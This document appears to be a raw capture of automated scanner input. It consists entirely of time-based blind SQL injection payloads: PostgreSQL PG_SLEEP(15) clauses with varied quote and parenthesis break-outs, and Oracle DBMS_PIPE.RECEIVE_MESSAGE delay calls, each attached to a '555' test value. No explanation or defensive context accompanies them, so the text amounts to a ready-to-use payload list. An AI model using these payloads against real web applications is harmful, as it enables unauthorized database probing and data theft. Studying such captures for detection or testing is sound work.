555-1 OR 729=(SELECT 729 FROM PG_SLEEP(15))--

555-1) OR 833=(SELECT 833 FROM PG_SLEEP(15))--

555-1)) OR 729=(SELECT 729 FROM PG_SLEEP(15))--

555Qz5Xgok5' OR 704=(SELECT 704 FROM PG_SLEEP(15))--

555LsCkb23X') OR 102=(SELECT 102 FROM PG_SLEEP(15))--

555nJG9Q80J')) OR 204=(SELECT 204 FROM PG_SLEEP(15))--

555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

(select DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15) from dual)

555